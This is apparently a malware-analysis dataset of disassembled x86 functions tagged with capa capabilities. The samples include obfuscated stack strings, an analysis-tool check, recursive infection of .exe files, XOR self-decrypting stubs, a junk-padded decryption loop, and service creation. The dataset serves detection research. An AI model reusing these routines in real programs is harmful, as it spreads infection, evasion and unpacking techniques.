joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49afe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push 0x74e3bb2e
call fcn.0049ac70
add esp, 4
mov dword [ebp - 0x16c], eax
push 0x3749ca10
call fcn.0049ac70
add esp, 4
mov dword [ebp - 0x14], eax
push 0x49f43cb7
call fcn.0049ac70
add esp, 4
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x28], 0x23ec5044
mov dword [ebp - 0x24], 0x33af2093
push 0
push 2
call dword [ebp - 0x16c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x158], 0x128
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x14]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [0x10005040]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x49b0a7
lea eax, [ebp - 0xc]
push eax
call dword [0x10005038]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x164], 0x45
mov byte [ebp - 0x163], 0x6e
mov byte [ebp - 0x162], 0x75
mov byte [ebp - 0x161], 0x6d
mov byte [ebp - 0x160], 0x57
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x6e
mov byte [ebp - 0x15d], 0x64
mov byte [ebp - 0x15c], 0x6f
mov byte [ebp - 0x15b], 0x77
mov byte [ebp - 0x15a], 0x73
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [0x10005080]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.0049aeb0
add esp, 8
test eax, eax
je 0x49b191
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x150]
push eax
call fcn.0049aeb0
add esp, 8
test eax, eax
je 0x49b191
lea ecx, [ebp - 0x134]
push ecx
push 0x100050d0
call dword [0x1000507c]
test eax, eax
je 0x49b191
mov dword [0x10007128], 0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x174]
push eax
push 0x10001550
call dword [ebp - 0x10]
cmp dword [0x10007128], 0xa
jbe 0x49b18d
mov eax, 1
jmp 0x49b1f3
xor eax, eax
jmp 0x49b1f3
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x170]
test eax, eax
jne 0x49b112
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [0x10005098]
test eax, eax
je 0x49b1f1
mov eax, 1
jmp 0x49b1f3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x49d350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push 0x40566d67
call fcn.0049ac70
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005088]
push 0x100050b0
lea edx, [ebp - 0x110]
push edx
call fcn.0049ad00
add esp, 8
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x1000502c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x49d3b0
jmp 0x49d605
cmp dword [ebp - 0x250], 0x10
jne 0x49d41f
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x49d41f
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005088]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.0049ad00
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.0049ad00
add esp, 8
lea eax, [ebp - 0x360]
push eax
call fcn.0049d350
add esp, 4
push 0x100050b8
lea ecx, [ebp - 0x224]
push ecx
call fcn.0049c900
add esp, 8
test eax, eax
je 0x49d4a5
lea edx, [ebp - 0x224]
push edx
call dword [0x10005084]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x49d4a5
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005088]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005028]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005064]
push 0x100050c0
lea edx, [ebp - 0x224]
push edx
call fcn.0049c900
add esp, 8
test eax, eax
je 0x49d5e2
lea eax, [ebp - 0x224]
push eax
call dword [0x10005084]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x49d5e2
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005088]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.0049ad00
add esp, 8
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call fcn.0049ad00
add esp, 8
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.0049c960
add esp, 8
movzx eax, al
test eax, eax
je 0x49d5e2
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005024]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.0049c960
add esp, 8
push 0x64
call dword [ebp - 4]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000503c]
test eax, eax
jne 0x49d3b0
mov edx, dword [ebp - 8]
push edx
call dword [0x1000505c]
mov esp, ebp
pop ebp
ret
Function at 0x401087
Capabilities:
Create process on windows

Disassembly:
jmp 0x4022d0
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x64]
test eax, eax
jne 0x40232c
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
pop edi
pop esi
add esp, 0x54
ret

Function at 0x42201a
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
add dword [0x4220af], ebp
cld
jmp 0x422029
xchg ebx, ebx
cmc
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push 0x80000000
push ebx
push 0x400
push 0x80000000
push ebx
push 0x20
push ebx
push ebx
push 0x1000
push ebx
push 2
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, eax
sub eax, eax
dec al
or al, al
je 0x42206d
jne 0x422063
jmp 0x4220d4
mov eax, eax
cmc
nop
xchg ebx, ebx
call 0x4220d4
cld
stc
add ecx, 0x71
xor esi, esi
or esi, 0x2990
sub ebx, ebx
add ebx, 0xbb
cmc
push ecx
stc
xchg ebx, ebx
clc
mov al, byte [ecx]
cmc
nop
xor ax, bx
mov byte [ecx], al
cmc
add ecx, 1
dec esi
cmc
cmp esi, 0
jne 0x422096
pop ecx
cmc
xchg ebx, ebx
mov ebp, 0
stc
nop
mov ebx, dword [ebp - 8]
mov dword fs:[0], ebx
clc
clc
leave
clc
stc
clc
xchg ebx, ebx
mov dword [esp + 0x18], ecx
stc
nop
clc
popal
nop
nop
jmp ecx
pop ecx
mov eax, eax
push ecx
ret

Function at 0x42a020
Capabilities:
Encode data using xor

Disassembly:
push dword fs:[0]
mov dword [0x42a09d], ebp
jmp 0x42a02e
xchg ebx, ebx
mov dword fs:[0], esp
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x80000000
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
xchg ebx, ebx
sub eax, eax
dec al
or al, al
je 0x42a059
jne 0x42a04f
jmp 0x42a0c0
cld
clc
nop
jmp 0x42a05e
call fcn.0042a0b8
nop
add ecx, 0x6c
xor esi, esi
or esi, 0x2990
sub edi, edi
add edi, 0xd8
cmc
push ecx
xchg ebx, ebx
mov al, byte [ecx]
xchg ebx, ebx
cmc
xor ax, di
cld
nop
mov byte [ecx], al
cld
mov edx, edx
add ecx, 1
dec esi
cmc
xchg ebx, ebx
cmp esi, 0
jne 0x42a07e
pop ecx
mov ecx, ecx
mov ebp, 0x891e5ab7
cmc
mov edi, dword [ebp - 8]
mov dword fs:[0], edi
nop
leave
stc
mov dword [esp + 0x18], ecx
clc
popal
jmp 0x42a0b6
jmp ecx
inc esp
and al, 0x10
pop dword [eax + 0xb8]
xor eax, eax
ret
Function at 0x4357e0
Capabilities:
Connect pipe
Create pipe
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [0x4dfbc4], 0x60b
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
push edi
mov edi, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [eax + 8]
mov dword [ebp - 0x20], edx
mov edx, dword [eax + 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0xc6ef3720
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], edx
jne 0x43586f
push 0
lea eax, [ebp - 0xc]
push eax
push 0
lea ecx, [ebp - 0x424]
push ecx
push 0
push 0
push 0x401370
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x4013b4
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov dword [ebp - 0xc], 0x20
jmp 0x43587b
mov esi, dword [ebp - 4]
mov edx, esi
shl edx, 4
cmp dword [0x4dfbc4], 0xe
mov dword [ebp - 0x14], edx
jne 0x435896
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x24]
push eax
lea ecx, [ebp - 0x14]
push ecx
call fcn.00435780
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0x10]
add eax, ebx
mov dword [ebp + 0xc], eax
push esi
push 0x23c912
lea edx, [ebp - 8]
push edx
call fcn.004357b0
cmp dword [0x4dfbc4], 0x1b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
lea esi, [eax + ecx - 0x23c912]
mov dword [0x4dc1c8], 0xffcf03fc
jne 0x4358ec
push 0
lea edx, [ebp - 0x824]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, dword [ebp + 0xc]
mov dword [0x4dc1c8], 0
xor esi, dword [ebp - 0x14]
mov dword [ebp - 8], esi
mov eax, dword [ebp - 8]
add dword [0x4dc1c8], eax
mov eax, dword [ebp - 0x10]
sub edi, esi
mov esi, edi
shl esi, 4
add esi, dword [ebp - 0x1c]
add eax, edi
cmp dword [0x4dfbc4], 0x1be
mov dword [ebp + 0xc], eax
jne 0x435932
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov eax, edi
shr eax, 5
add eax, dword [ebp - 0x20]
push 0x9e3779b9
mov dword [ebp - 8], eax
xor eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
xor esi, eax
sub dword [ebp - 4], esi
push ecx
mov dword [0x4dc1d0], 0xcbd702b4
mov dword [0x4dc1d4], 0xffffffff
call fcn.004354c0
dec dword [ebp - 0xc]
jne 0x435878
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 4]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x435990
Capabilities:
Copy file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x930
cmp dword [0x4dfbc4], 0x516
jne 0x4359b5
push 0
lea eax, [ebp - 0x930]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
mov eax, dword [ebp + 0xc]
shr eax, 3
test eax, eax
je 0x435a51
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov dword [ebp + 0xc], eax
jmp 0x4359e0
cmp dword [0x4dfbc4], 0x29
jne 0x435a01
push 0
push 0
push 0
push 0
push 0x4013bc
push 0x4013d4
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
cmp dword [0x4dfbc4], 0x1c
jne 0x435a3c
push 0
call edi
push 0
push 0
push 0
lea ecx, [ebp - 0x9c]
push ecx
call ebx
lea edx, [ebp - 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov eax, dword [ebp + 0x10]
push eax
push esi
call fcn.004357e0
add esi, 8
dec dword [ebp + 0xc]
jne 0x4359e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x435a60
Capabilities:
Copy file
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xeb8
cmp dword [0x4dfbc4], 0x37
jne 0x435baa
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0x4013f8
mov dword [ebp - 0x38], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
xor eax, eax
xor edx, edx
lea ecx, [ebp - 0x14]
mov word [ebp - 0x24], dx
push ecx
lea edx, [ebp - 0x24]
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov word [ebp - 0x16], ax
mov word [ebp - 0x14], ax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
push edx
lea eax, [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
push 0
push 0
lea ecx, [ebp - 0x2b8]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea edx, [ebp - 0xeb8]
push edx
push 0x401408
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0x40144c
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
push 0
push 0
push 0
lea eax, [ebp - 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 8]
push 0
push 0
push ecx
lea edx, [ebp - 0x6b8]
push edx
push eax
push 0x401460
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov dword [ebp - 4], 0
mov eax, dword [0x4dfbc8]
add dword [ebp - 4], eax
mov eax, 0x12336
add dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dl, byte [ecx + eax]
mov ecx, dword [0x4dc1c4]
mov byte [ecx + eax], dl
mov esp, ebp
pop ebp
ret 4
Function at 0x435ce0
Capabilities:
Create pipe
Get common file path
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22dc
call fcn.004367e0
mov dword [ebp - 4], 0
jmp 0x435cff
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x332beaf6
jge 0x435db8
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [0x4dfbc4], 0x16
jne 0x435d46
lea ecx, [ebp - 0x58]
push ecx
push 0
lea edx, [ebp - 0x858]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4dfbc4], 0x9e
jne 0x435da8
push 0
lea eax, [ebp - 0xe78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
push 0
lea ecx, [ebp - 0x1278]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x12c0]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x4014a8
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
cmp dword [ebp - 4], 0x3775ee
jle 0x435db3
jmp 0x435db8
jmp 0x435cf6
push section..data
mov eax, dword [0x4dfbc4]
push eax
mov ecx, dword [0x4dc1c4]
push ecx
call fcn.00435990
mov dword [ebp - 0x12c4], 0
jmp 0x435dea
mov edx, dword [ebp - 0x12c4]
add edx, 1
mov dword [ebp - 0x12c4], edx
cmp dword [ebp - 0x12c4], 0x3e79e
jge 0x435e28
cmp dword [0x4dfbc4], 0x10
jne 0x435e15
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
cmp dword [ebp - 0x12c4], 0x1e673
jne 0x435e26
call fcn.00435bf0
jmp 0x435ddb
mov dword [ebp - 0x12c8], 0
jmp 0x435e43
mov eax, dword [ebp - 0x12c8]
add eax, 1
mov dword [ebp - 0x12c8], eax
cmp dword [ebp - 0x12c8], 0xdd9a7
jge 0x435e8f
cmp dword [0x4dfbc4], 0xc01
jne 0x435e8d
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x435e34
jmp dword [0x4dc1c4]
Function at 0x43fba0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x462570]
jne 0x43fbaa
repz ret
jmp fcn.004483e0
Function at 0x453ce0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x453cff
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x453d06
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x453d1d
mov ecx, dword [ebp - 4]
push ecx
call fcn.0043f410
add esp, 4
or eax, 0xffffffff
jmp 0x453d1f
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4010ce
Capabilities:
Access the windows event log

Disassembly:
push esi
push edi
xor edi, edi
cmp dword [ecx + 0x1a8], edi
je 0x40110a
add ecx, 0x84
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov esi, eax
cmp esi, edi
je 0x40110a
lea eax, [esp + 0xc]
push edi
push eax
push edi
push 1
push edi
push edi
push edi
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop edi
pop esi
ret 4

Function at 0x40146a
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov eax, 0x408934
call fcn.00403efc
sub esp, 0xc
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp - 0x18], ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp eax, ebx
jl 0x40158a
mov ecx, dword [ebp - 0x18]
call fcn.004016f5
push ebx
push ebx
push 1
push 0x64
push dword [ebp - 0x18]
call fcn.004021b2
mov dword [ebp - 0x14], ebx
mov esi, 0x20006
lea ecx, [ebp - 0x14]
push esi
push str.AppID
push SysReAllocString
mov dword [ebp - 4], ebx
call fcn.00401d66
mov edi, eax
cmp edi, ebx
je 0x4014df
cmp dword [ebp - 0x14], ebx
je 0x401588
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x401588
mov dword [ebp - 0x10], ebx
push esi
push str.F58088EA_D0B0_421F_A1FE_3CF5898051D6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.00401d66
mov edi, eax
cmp edi, ebx
jne 0x40156b
push str.LocalService
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp dword [ebp + 0xc], ebx
je 0x401557
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, str.IDriverT
push edi
call esi
inc eax
push eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push ebx
push str.LocalService
push dword [ebp - 0x10]
call edi
mov ebx, str._Service
push ebx
call esi
inc eax
push eax
push ebx
push 1
push 0
push str.ServiceParameters
push dword [ebp - 0x10]
call edi
mov ecx, dword [ebp - 0x18]
call fcn.00401644
xor ebx, ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 0x18]
call fcn.00401fb6
mov edi, eax
call dword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [ebp - 0x10], ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
je 0x40157e
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x401588
push dword [ebp - 0x14]
call esi
mov eax, edi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8
Function at 0x401644
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov edi, ecx
call fcn.0040108b
test eax, eax
jne 0x4016ed
xor esi, esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
jne 0x401683
add edi, 0x84
push esi
push edi
push str.Couldnt_open_service_manager
jmp 0x4016d6
lea eax, [ebp - 0x104]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
push str.RPCSS
push esi
lea eax, [ebp - 0x104]
push esi
push eax
push 1
push 3
push 0x10
add edi, 0x84
push 0xf01ff
push str.InstallDriver_Table_Manager
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, esi
jne 0x4016e1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
push edi
push str.Couldnt_create_service
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x4016f0
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push ebx
call esi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4016f5
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
mov esi, ecx
call fcn.0040108b
test eax, eax
je 0x40177c
xor ebp, ebp
push 0xf003f
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebp
jne 0x40172b
add esi, 0x84
push ebp
push esi
push str.Couldnt_open_service_manager
jmp 0x401752
lea ebx, [esi + 0x84]
push 0x10020
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebp
jne 0x401755
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebp
push ebx
push str.Couldnt_open_service
push ebp
jmp 0x40178b
lea eax, [esp + 0x10]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebp, eax
call esi
push edi
call esi
test ebp, ebp
je 0x401781
push 1
pop eax
jmp 0x401793
push 0
push ebx
push str.Service_could_not_be_deleted
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x401873
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 0xc]
mov dword [esi + 0x70], 0x40b088
mov dword [0x40d778], esi
push dword [ebp + 8]
mov dword [esi], 0x84
mov dword [esi + 0x64], 0x300
push esi
call fcn.00401e62
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
je 0x4018c0
push 0x10
push dword [ebp + 0x10]
push 0x40d768
call fcn.00403fa0
add esp, 0xc
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov edi, 0x94
mov dword [esi + 0x18], eax
push edi
lea eax, [ebp - 0xb8]
push ebx
push eax
call fcn.00403f40
add esp, 0xc
lea eax, [ebp - 0xb8]
mov dword [ebp - 0xb8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0xa8], 2
jne 0x401911
cmp dword [ebp - 0xb4], 5
jae 0x401967
mov eax, dword [ebp - 0x10]
cmp eax, 1
jbe 0x401967
or dword [esi + 0x74], 0xffffffff
add eax, eax
xor ecx, ecx
test eax, 0x80000000
jne 0x401933
shr dword [esi + 0x74], 1
shl eax, 1
inc ecx
cmp ecx, 0x20
jl 0x401921
shr dword [esi + 0x74], 1
mov eax, dword [esi + 0x74]
lea eax, [eax*4 + 4]
push eax
push ebx
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x78], eax
xor edi, edi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov ecx, dword [esi + 0x78]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [esi + 0x74]
jbe 0x401950
jmp 0x40196d
mov dword [esi + 0x78], ebx
mov dword [esi + 0x74], ebx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0xc